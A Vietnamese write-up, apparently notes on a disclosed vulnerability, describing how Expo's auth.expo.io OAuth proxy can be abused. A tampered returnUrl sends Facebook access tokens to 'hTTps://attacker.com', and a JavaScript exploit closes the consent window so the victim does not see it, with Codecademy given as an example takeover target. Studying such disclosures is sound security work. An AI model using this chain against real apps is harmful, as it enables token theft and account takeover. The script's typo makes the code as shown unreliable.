OAuth Implementation at Expo
Expo là framework dùng để phát triển ứng dụng di động, được sử dụng bởi nhiều công ty lớn.
Chúng ta sẽ xây dựng một ứng dụng sử dụng Expo và tính năng OAuth của nó để hiểu hơn về cách hoạt động.
Để log in bằng Facebook, ta cần tạo một ứng dụng ở developer.facebook.com
và cấu hình custom redirect_uri
là https://auth.expo.io/@account_name/project_name
. Sau đó, Facebook sẽ gửi một secret token cho Expo.
Sau đây là luồng hoạt động:
Bước 2-5 tương tự như luồng OAuth Implicit Flow1 (do nó gửi token thông qua fragment của trình duyệt).
Ở bước 1: khi người dùng nhấn vào nút đăng nhập với Facebook, nó sẽ redirect người dùng đến URL sau:
https://auth.expo.io/@moreisless3/me321/start?authUrl=https://www.facebook.com/v6.0/dialog/oauth?code_challenge=...&display=popup&auth_nonce=...&code_challenge_method=S256&redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=3287341734837076&response_type=code,token&state=gBpzi0quEg&scope=public_profile,email&returnUrl=exp://192.168.14.41:19000/--/expo-auth-session
Trong response trả về, Expo set coookie ru=exp://192.168.14.41:19000/--/expo-auth-session
. Giá trị ru
(viết tắt của Return URL) sẽ được sử dụng ở bước 5. Sau đó, ứng dụng sẽ hiển thị confirmation message và nếu user approve thì nó sẽ chuyển hướng người dùng đến trang login của Facebook:
https://www.facebook.com/v6.0/dialog/oauth?code_challenge=...display=popupauth_nonce=...&code_challenge_method=S256&redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=3287341734837076&response_type=code,token&state=gBpzi0quEg&scope=public_profile%20email
User truy cập vào trang login của Facebook và Facebook validate giá trị redirect_uri
(https://auth.expo.io/@moreisless3/me321
) là giống với redirect_uri
đã cấu hình trước đó. Nếu người dùng đã đăng nhập thì Facebook sẽ redirect về:
https://auth.expo.io/@moreisless3/me321#code={code}&access_token={token}
Ở bước 5, trình duyệt sẽ gửi request đến URL trên kèm theo cookie đã được set trước đó. Client-side script trong response trả về ở bước 6 có đoạn như sau:
Có vẻ như backend của Expo đã đọc cookie được gửi lên và nhúng nó vào trong client-side script trả về. Client-side script này sau đó cũng sẽ redirect user về exp:\\
nhằm mở ứng dụng di động và ứng dụng có thể đọc token từ URL.
Let’s Attack
Ta thấy ở bước 6, Expo đã lấy giá trị trong cookie mà cụ thể hơn là từ param returnUrl
trong URL ở bước 1 để xây dựng URL. Nếu ta có thể thay đổi giá trị của tham số này thì có thể đánh cắp được access token của người dùng.
Tác giả thử thay đổi giá trị từ exp://192.168.14.41:19000/--/expo-auth-session
thành hTTps://attacker.com
(https
bị blacklist) thì thành công.
Kịch bản tấn công là attacker dụ nạn nhân click vào URL ở bước 1 mà có malicious returnUrl
:
Sau khi click vào URL và log in vào Facebook, nạn nhân sẽ nhận được confirmation message và việc này làm lộ URL của attacker.
Tác giả muốn bypass message này.
Manually Bypass the Confirmation Message
Để bypass confirmation message, tác giả đã đưa ra kịch bản sử dụng 2 URL:
Cụ thể hơn, sẽ có 2 URL.
URL đầu tiên là authorization request của bước 1:
https://auth.expo.io/@moreisless3/me321/start?authUrl=https://www.facebook.com/v6.0/dialog/oauth?code_challenge=...&display=popup&auth_nonce=...&code_challenge_method=S256&redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=3287341734837076&response_type=code,token&state=gBpzi0quEg&scope=public_profile,email&returnUrl=hTTps://attacker.com/index.php
Khi nạn nhân click vào URL đầu tiên, response sẽ set cookie ru
thành hTTps://attacker.com
.
URL thứ hai là redirect request đến Facebook:
https://www.facebook.com/v6.0/dialog/oauth?code_challenge=...display=popupauth_nonce=...&code_challenge_method=S256&redirect_uri=https://auth.expo.io/@moreisless3/me321&client_id=3287341734837076&response_type=code,token&state=gBpzi0quEg&scope=public_profile%20email
Khi nạn nhân click vào URL thứ 2 và đăng nhập thì Facebook sẽ redirect về Expo và Expo sẽ redirect về hTTps://attacker.com/index.php
kèm theo access token.
Về bản chất, ta sẽ skip qua bước confirm (bước 2) và gửi trực tiếp request đến Facebook để thực hiện login.
Nếu deliver 2 URL trên cho victim thì sẽ không khả thi vì user chắc chắn sẽ không nhấp vào 2 link. Thay vào đó, tác giả xây dựng một script để tự động mở 2 URL:
<script>
function open_close() {
// Happens on the victim computer - set cookie to hTTps://attacker.com
let h = window.open('https://auth.expo.io/.../?returnUrl=hTTps://attacker.com', '_blank');
// hide and close the consent message from the victim
window.focus();
window.setTimeout(function(){h.close();},1500);
// Go to facebook
window.setTimeout(function(){
document.location.replace('https://www.facebook.com/?redirect_uri=https://auth.expo.io', '_blank');
}. 1800);
}
</script>
Có thể thấy, exploit script auto đóng confirmation message sau 1.5s bằng cách gọi hàm h.close()
.
Attacker chỉ việc host exploit script trên một máy chủ và deliver cho nạn nhân:
An Example Target: Codecademy.com
Luồng hoạt động của OAuth trên Codecademy:
Tham số redirect_uri
có dạng https://auth.expo.io/@codecademy/codecademy-go
và scheme của URL cuối cùng là codecademy-go://
.
Sau khi có token, ta có thể start một login flow thông thường và thế token vào URL ở bước cuối để thực hiện account takeover.
The Impact — 100s of Additional Targets
Tác giả không ngừng lại ở việc khai thác Codecademy mà nhắm tới tất cả các ứng dụng sử dụnghttps://auth.expo.io
(AuthSession Proxy) của Expo. Để tìm ra các ứng dụng đó, tác giả đã lên các nền tảng chẳng hạn như forum hay Discord mà người dùng thường đặt các câu hỏi về ứng dụng của họ. Khi tìm kiếm auth.expo.io/@
, tác giả tìm thấy 34 công ty:
Tác giả cũng tìm trên GitHub:
Một vài trong số các ứng dụng/công ty trên là có thể bị khai thác.
Resources
Footnotes
-
Xem thêm Open Authentication. ↩